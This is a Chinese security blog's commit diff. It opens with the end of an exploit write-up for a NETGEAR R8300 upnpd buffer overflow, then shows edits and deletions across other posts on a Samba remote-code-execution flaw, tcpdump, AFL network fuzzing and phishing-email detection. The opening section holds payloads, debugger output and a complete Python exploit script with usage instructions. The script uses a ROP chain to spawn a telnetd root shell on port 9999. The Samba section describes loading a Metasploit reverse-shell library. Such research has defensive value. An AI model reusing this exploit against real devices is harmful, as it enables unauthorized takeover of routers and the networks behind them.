**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; "reboot"
.text:0003E9E0 BL system
**payload如下**
payload = (
0x604 * b'a' + # dummy
p32(0x76d9d450) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x0003E9DC) # system(reboot)
)
**固件模拟日志:**
ssdp_http_method_check(203):
ssdp_http_method_check(231):Http message error
Detaching from process 3477
rmmod: dhd.ko: No such file or directory
**reboot: rmmod dhd failed: No such file or directory**
**[0x0003e9e4] system('reboot') = 0**
```
综合目前的情况:
1. 目前可以控制`R4 - R11` 以及 `PC(R15)`寄存器
2. 开了 NX 不能用在栈上布置`shellcode`。
3. 有 ASLR不能泄漏地址不能使用各种 LIB 库中的符号和 `gadget`
4. `strcpy()` 函数导致的溢出payload 中不能包含 `\x00` 字符。
## 0x05 漏洞利用
路由器已启用ASLR缓解功能我们可以使用ROP攻击绕过该功能。但是我们通过使用对NULL字节敏感的**strcpy**来执行复制调用这反过来又会阻止我们使用ROP攻击。因此要利用包含NULL字节的地址我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(`stack reuse`
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化利用内存未初始化问题我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC每个 payload 前添加 `\x00` 防止程序崩溃strcpy遇到\x00截断不会拷贝后面部分
```python
#!/usr/bin/python3
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.2', 1900))
s.send(b'\x00' + b'A' * 0x1ff0)
s.send(b'\x00' + b'B' * 0x633)
s.close()
```
在strcpy下断点调试并检查栈区内存
```shell
gef➤ info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x76dd6e48 <recvfrom+4>
2 breakpoint keep y 0x76dc350c <strcpy+4>
4 breakpoint keep y 0x00025e70
5 breakpoint keep y 0x00025e74
gef➤ search-pattern BBBB
[+] Searching 'BBBB' in memory
[+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x
0x76de17e4 - 0x76de17e8 → "BBBB[...]"
0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC"
0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC"
[+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw-
**0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
gef➤ x/s 0x7eb6cc75
0x7eb6cc75: 'B' <repeats 1587 times>
gef➤ x/s 0x7eb6cc75+1588
0x7eb6d2a9: 'A' <repeats 6588 times>
```
此时程序上下文为
```shell
gef➤ context
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x7eb6c5fc → 0x00000000
**$r1 : 0x7eb6cc74** → 0x42424200
$r2 : 0x1d
$r3 : 0x7eb6c5fc → 0x00000000
**$r4 : 0x7eb6cc74** → 0x42424200
$r5 : 0x0000cf02 → blx 0x10c6586
$r6 : 0x7eb6ecf4 → "192.168.2.1"
$r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000
$r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000
$r9 : 0x3eaf
$r10 : 0x1
$r11 : 0x000c4584 → 0x00000005
$r12 : 0x00055450 → 0x76dc3508 → <strcpy+0> mov r3, r0
$sp : 0x7eb6c5d8 → "nnection:1"
$lr : 0x00025e74 → mov r0, r7
$pc : 0x76dc350c → <strcpy+4> ldrb r2, [r1], #1
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7eb6c5d8│+0x0000: "nnection:1" ← $sp
0x7eb6c5dc│+0x0004: "tion:1"
0x7eb6c5e0│+0x0008: 0x0000313a (":1"?)
0x7eb6c5e4│+0x000c: 0x00000000
0x7eb6c5e8│+0x0010: 0x00000000
0x7eb6c5ec│+0x0014: 0x00000000
0x7eb6c5f0│+0x0018: 0x00000000
0x7eb6c5f4│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x76dc3500 <strchrnul+24> bne 0x76dc34f0 <strchrnul+8>
0x76dc3504 <strchrnul+28> bx lr
0x76dc3508 <strcpy+0> mov r3, r0
→ 0x76dc350c <strcpy+4> ldrb r2, [r1], #1
0x76dc3510 <strcpy+8> cmp r2, #0
0x76dc3514 <strcpy+12> strb r2, [r3], #1
0x76dc3518 <strcpy+16> bne 0x76dc350c <strcpy+4>
0x76dc351c <strcpy+20> bx lr
0x76dc3520 <strcspn+0> push {r4, lr}
─────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x76dc350c → strcpy()
[#1] 0x25e74 → mov r0, r7
────────────────────────────────────────────────────────────────────────────────────────────────────────────
```
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 `strcpy` 调用在 bss 上拼接出命令字符串 `telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00`,并调整 R0 指向这段内存,然后跳转 `system` 执行即可。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png)
## **0x06 脚本使用说明**
|脚本帮助: |usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
|--- |--- |
|真实利用: |IP:192.168.2.2 Port:upnp/1900 |
||![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png) |
```python
import socket
import time
import sys
from struct import pack
p32 = lambda x: pack("<L", x)
bssBase = 0x9E150 #string bss BASE Address
ip = '192.168.2.2'
libc_addr = 0x76d9d450
def banner():
a= """
# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
# Date : 2020.03.09
# POC : system("telnetd -l /bin/sh -p 9999& ") Execute
# Desc : execute telnetd to access router
"""
print a
def makpayload2(libc_addr):
payload = (
0x604 * b'a' + # dummy
p32(int(libc_addr,16)) + # v51 Need to Existed Address
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x000230f0) + # #change eip LR=0x000230f0
2509 * b'a'
"""
.text:000230F0 ADD SP, SP, #0x20C
.text:000230F4 ADD SP, SP, #0x1000
.text:000230F8 LDMFD SP!, {R4-R11,PC}
"""
)
print(len(payload))
return payload
def makpayload1():
expayload = ''
"""
.text:00013644 MOV R0, R10 ; dest
.text:00013648 MOV R1, R5 ; src
.text:0001364C BL strcpy
.text:00013650 MOV R0, R4
.text:00013654 ADD SP, SP, #0x5C ; '\'
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
"""
expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5 //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5 //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5 //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5 //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5 //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5 //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5 //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy
print "[*] Make Payload ..."
"""
.text:0001A83C MOV R0, R4 ; command
.text:0001A840 BL system
"""
expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l
return expayload
def conn(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip, 1900))
return s
print "[*] Send Proof Of Concept payload"
def checkExploit(ip):
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ret = soc.connect((ip,9999))
return 1
except:
return 0
if __name__=="__main__":
ip = sys.argv[1]
libc_addr = sys.argv[2]
banner()
payload1 = makpayload1()
payload2 = makpayload2(libc_addr)
s = conn(ip)
s.send('a\x00'+payload1) #expayload is rop gadget
s.send(payload2)
time.sleep(5)
if checkExploit(ip):
print "[*] Exploit Success"
print "[*] You can access telnet %s 9999"%ip
else:
print "[*] Need to Existed Address cross each other"
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
print "[*] To exploit reexecute upnpd, description"
print "[*] Access http://%s/debug.htm and enable telnet"%ip
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
s.close()
print """\n[*] Done ...\n"""
```

View File

@ -6,7 +6,6 @@ tags:
- 文件格式
categories:
- 二进制
description: 庖丁解牛.jpg
---
# PE文件格式
@ -195,4 +194,4 @@ typedef struct _IMAGE_IMPORT_DESCRIPTOR {
} IMAGE_IMPORT_DESCRIPTOR;
```
- 一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/pwn/1506049226526485.jpg)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/1506049226526485.jpg)

View File

@ -6,7 +6,6 @@ tags:
- Linux
- CTF
categories: Pwn
description: 我怎么还在start
---
# [Pwnable.tw](http://pwnable.tw/) start

View File

@ -7,7 +7,6 @@ tags:
- CVE
categories:
- IOT
description: Samba漏洞臭名昭著
---
# 漏洞描述
@ -30,13 +29,13 @@ SMB协议是客户机/服务器型协议,客户机通过该协议可以访问
# 漏洞成因
处于``\source3\rpc_server\src_pipe.c的is_known_pipename()``函数未对传进来的管道名`pipename`的路径分隔符`/`进行识别过滤导致可以用绝对路径调用恶意的so文件从而远程任意代码执行。
首先看到`is_known_pipename()``函数
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png)
跟进到`smb_probe_module()`
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg)
再跟进到`do_smb_load_module()`,发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg)
我们可以通过smb服务上传一个恶意的so文件随后通过上述过程进行调用执行任意代码。
@ -160,45 +159,45 @@ exploit
然后重启smbd服务。
# 分析POC查找原因
(来自[Wz'blog](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/))
(来自[Wz'blog](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/))
## 建立SMB连接。若需要账号密码登录则必须登录后才能继续
从微软上扒的SMB协议建立时序图
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png)
对应POC:
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png)
## 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg)
其中find_writeable_path()函数需要跟进看一下:
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg)
再跟进看enumerate_directories()以及verify_writeable_directory函数
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg)
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg)
可以看到代码逻辑很清楚首先遍历出当前路径所有的文件夹然后尝试往里面写一个随机的txt文件用作可写测试随后删除掉txt文件记录下可写的文件路径。
至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)
## 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg)
至此获取到了共享名data的绝对路径。
值得注意的是这里跟早期的Payload不一样早期的payload是靠暴力猜解目录所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径极大地提高了攻击的成功率。
## 上传恶意so文件
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg)
其中写入的so文件是Metasploit生成的反弹shell很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数这个原因上述的漏洞分析也有提及。
## 调用恶意文件并执行echo命令打印随机字符串检验是否调用成功
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg)
利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\\PIPE\/SharePath/Path/Evil.so然后通过SMB_COM_NT_CREATE_ANDX进行调用。
在复现时调用恶意so文件总会失败产生Error Code为STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况也许要详细看看smb协议才能知道了。
POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志随后就是用NBSS协议进行了一次远程代码执行的测试执行代码为echo随机字符串。
## 删除恶意so文件断开smb连接
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png)
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png)
由msf给出的poc过程可见对路由器的攻击在第五步出现问题因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND

View File

@ -6,8 +6,8 @@ tags:
- 拒绝服务攻击
categories:
- 二进制
description: TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
---
# TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
## Tcpdump介绍
1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap.

View File

@ -6,7 +6,6 @@ tags:
- 路由器
- MiniUPnP
categories: IOT
description: 非常经典的UPnPClassic~
---
# 概述

View File

@ -5,10 +5,9 @@ tags:
- AFL
- 模糊测试
categories: 二进制
description: 这篇文章是对afl的简单使用可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始然后使用fuzzer对其模糊测试发现崩溃最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
---
这篇文章是对afl的简单使用可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始然后使用fuzzer对其模糊测试发现崩溃最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
参考https://paper.seebug.org/841/#_1
**部署afl**

View File

@ -1,71 +0,0 @@
---
title: 利用AFL黑盒测试网络协议
date: 2021-05-20 19:26:35
tags:
- 模糊测试
categories:
- IOT
description: 做对比实验用的小工具在拿不到固件的情况下可以用AFL的变异策略尝试fuzz
---
源码https://github.com/Cool-Y/aflnw_blackbox
AFL是基于变异的模糊测试方法的代表工作其主要应用于非结构化数据处理程序的漏洞挖掘中。但使用AFL具有比较多的限制
1. 本地运行被测程序,从而获取覆盖率等反馈信息
2. 被测程序从基本输入输出获取数据
因此无法直接使用AFL对远程服务进行黑盒测试
## 现有工作
目前针对限制2已经有一些解决方案
1. hook socket调用利用 `preeny`库辅助AFLplusplus
1. https://www.cnblogs.com/hac425/p/9416917.html
2. https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/socket_fuzzing
2. 修改AFL传递数据的方式AFLNet: A Greybox Fuzzer for Network Protocolsaflnet在AFL的基础上将标准输入修改为网络发包的方式
1. https://github.com/aflnet/aflnet
2. https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
3. 修改网络程序接收数据的方式bind9的代码中专门提供了用于Fuzz的部分。
1. https://github.com/isc-projects/bind9/tree/main/fuzz
4. 利用AFL Persistent Mode
1. https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop
2. https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop-%2B-persistent-mode/
5. 利用辅助程序转发AFL的输入
1. https://github.com/LyleMi/aflnw/blob/main/README.zh-cn.md
但是如果无法将程序放在本地运行比如物联网设备在拿不到固件的情况下如何利用AFL的变异方式进行模糊测试。
## 黑盒方案
在aflnw的基础上对辅助程序的工作方式进行了修改从而实现在不对AFL和被测程序进行修改的条件下使用一个辅助程序接收AFL从标准输入传递进来的数据然后通过网络转发给UPnP服务辅助程序会间隔性地与UPnP端口建立TCP连接从而判断测试用例是否导致程序崩溃。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_33.png)
## 如何安装
```
git clone https://github.com/LyleMi/aflnw.gitcd aflnw
export CC=/path/to/afl/afl-clang-fast
mkdir build && cd build && cmake .. && make
```
## 如何使用
1. 使用wireshark采集种子输入Follow→TCP Stream保存为raw文件
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510534/ufuzzer/image_35.png)
2. 确定通信协议udp/tcp、服务端监控地址、服务端监控端口、socket本地绑定地址
3. fuzz以UPnP协议为例
```
afl-fuzz -t 1000+ -i ./soap_input/ -o ./soap_out/ -- ./build/aflnw -a 192.168.2.2 -p 5000 -m tcp
afl-fuzz -t 2000+ -i ./ssdp_input/ -o ./ssdp_out/ -- ./build/aflnw -a 239.255.255.250 -p 1900 -m udp
```
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_34.png)
4. 崩溃重放
```
./build/aflnw -a 239.255.255.250 -p 1900 -m udp < soap_out/crashes/id:00000....
./build/aflnw -a 192.168.2.2 -p 5000 -m tcp < ssdp_out/crashes/id:000000.....
```
## 问题
效率很低

View File

@ -6,7 +6,6 @@ tags:
- 微信
categories:
- 杂七杂八
description: 看了这篇文章,女朋友还会问你为什么不给她发微信吗?
---
我们实验室有个光荣传统每天早上起床叫醒我的不是闹钟而是群里雷打不动的安全新闻其实我免提醒了2333
而这个发送新闻的人一代一代的传承我没想到竟然有一天会落在我头上哭了o(╥﹏╥)o

View File

@ -1,119 +0,0 @@
---
title: DataCon Coremail邮件安全第三题 Writeup
date: 2020-10-16 11:07:33
tags:
- 钓鱼邮件
- phishing email
categories:
- 杂七杂八
description: 研一的时候参加了第一届datacon可惜因为课程任务太重了最后连答案都没提交。今年和研一两位师弟师妹组队参加本以为又要躺过去了最后被两位的热情感染完成了比赛还取得不错的成绩也算是完成了研究生阶段的一个小遗憾。我之前没做过数据分析也没接触过邮件安全借这次赛题好好的补了一课第一题是识别发件人伪造第二题是垃圾邮件分类第三题是识别威胁邮件全部是真实数据难度层层递进。
---
## 赛题理解
### 目标
> 在真实的企业网络环境中,一些攻击者总能想方设法绕过邮件检测引擎,使攻击邮件抵达员工的收件箱,最终达到窃取用户登录凭证等目的。与此同时,企业网络安全管理团队的精力十分有限,不可能实现对企业的全部邮件进行逐一审查。
> 如果你是一家企业的邮件安全负责人,能否基于数据分析,利用长达三个月的企业邮件服务器日志摘要信息,设计检测模型,输出一批威胁程度较高的邮件,以便于后续的人工审查。请注意:检测模型不允许使用第三方威胁情报,检测系统必须能够离线运行。
从赛题说明中,我们可以提取出几个关键词:邮件、窃取用户凭证、威胁程度、离线运行,最终目的是从邮件通信日志中筛选出钓鱼邮件(窃取用户登录凭证)。
### 数据
> 约80万封邮件通信日志赛事主办方已经对数据进行了脱敏和匿名化处理。
> 提示根据既往经验知识威胁程度较高的邮件规模约在2千至2万左右。
主办方给了威胁邮件的大致数量范围邮件通信日志与第一题真实的邮件格式不同每一封邮件都是json格式的数据只保留了8个字段而且做了匿名化处理。
```
* rcpt收信人邮箱地址 ---> [salt+hash]@[salt+hash替换掉敏感域名其它保留].[真实TLD]
* sender发件人邮箱地址 ---> 同上
* ip企业邮箱用户登录ip ---> 经过映射处理不是真实的ip地址但保留子网关系
* fromname发信人名称 ---> 对于白名单关键词比如adminhr管理员经理等进行保留。除了白名单的其它部分salt+hash
* url直接从邮件正文、subject、附件、fromname中提取出来的url ---> [真实协议]://hash+salt替换掉敏感域名.真实TLD/真实参数
* @timestamp:时间戳
* region企业邮箱用户登录ip所在地区
* authuser收信时False发信时True注意企业邮箱域内互发的话是只有一条发信记录
* tag邮件编号提交答案需要用到
```
### 提交规则
主办方给的方法很简单每一封邮件均有字段tag结果只需要每行一个威胁邮件的tag换行使用`\n`
### 评分
> 比赛过程中排行榜展示每位选手的F1-score未提交答案F1-score视为0比赛结束后每位选手的得分由`min-max归一化*100`计算得出保留1位小数四舍五入
最终得分不仅取决于自己的F1-score还取决于所有选手的整体成绩。另外利用F1-score我们还能推测出这80万封邮件中大致的威胁邮件数量后续再说。
## 解题思路
在初步浏览了一些邮件日志内容后,我们将目标锁定为寻找钓鱼邮件的数量。首先需要知道钓鱼邮件是什么,具备哪些特征。
### 1. 使用短链接
短链接就是将较长的网址,通过特定的算法转换为简短的网址字符串。用户无法通过短链接地址直接看出点击这个短链接地址后究竟会打开什么样的网站。
常见的有:`t.cn`、 `bit.ly``bit.do``u.to``url.cn`
